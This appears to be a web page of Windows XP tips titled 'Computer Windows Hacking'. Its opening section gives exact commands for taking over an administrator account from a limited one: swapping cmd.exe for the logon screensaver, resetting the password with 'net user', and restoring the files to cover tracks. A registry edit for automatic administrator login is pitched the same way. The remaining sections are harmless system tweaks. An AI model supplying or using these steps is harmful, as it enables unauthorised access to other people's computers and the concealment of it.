Computer Windows Hacking

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes
"net user password"

If the Administrator Account is called SunnyKhetarpal and you want the password blah-blah enter this
"net user Sunnykhetarpal blah-blah"
and this changes the password on Sunnykhetarpals machine to blah-blah and your in.
Have fun

pls: dont forget to copy the contents of temphack back into the system32 dir to cover tracks


Registry Hacking

Display legal notice on startup:Wanna tell your friends about the do's and dont's in your computer when they login in your absence.
Well you can do it pretty easily by displaying a legal notice at system start up.REGEDIT[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="Enter Any Notice"
"legalnoticetext"="Enter Legal Notice Here"


Automatic Administrator Login:

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user
operating system. Hacking the system registry from any account having access to system registry puts
you in to the administrator account.REGEDIT 4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"


Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you
go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs
are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf
(where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of
the file something like this:

[Components]

NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll,HydraOc,,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If
you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do
a global find and replace for the word ",hide" and replace it with a single comma ",".


Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why:
Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.


Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to
view shares on other computers. Basically, when you connect to another computer with Windows XP, it
checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to
30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this
process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current
Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called
{D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!


Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on
your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver.
To create a shortcut on your desktop to lock your computer:
Right-click the desktop. Point to New, and then click Shortcut.
The Create Shortcut Wizard opens. In the text box, type the following:
rundll32.exe user32.dll,LockWorkStation
Click Next. Enter a name for the shortcut. You can call it
"Lock Workstation" or choose any name you like.
Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll).
To change the icon: Right click the shortcut and then select Properties.
Click the Shortcut tab, and then click the Change Icon button.
In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons
from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L.

This would save you only one keystroke from the normal command, but it could be more convenient.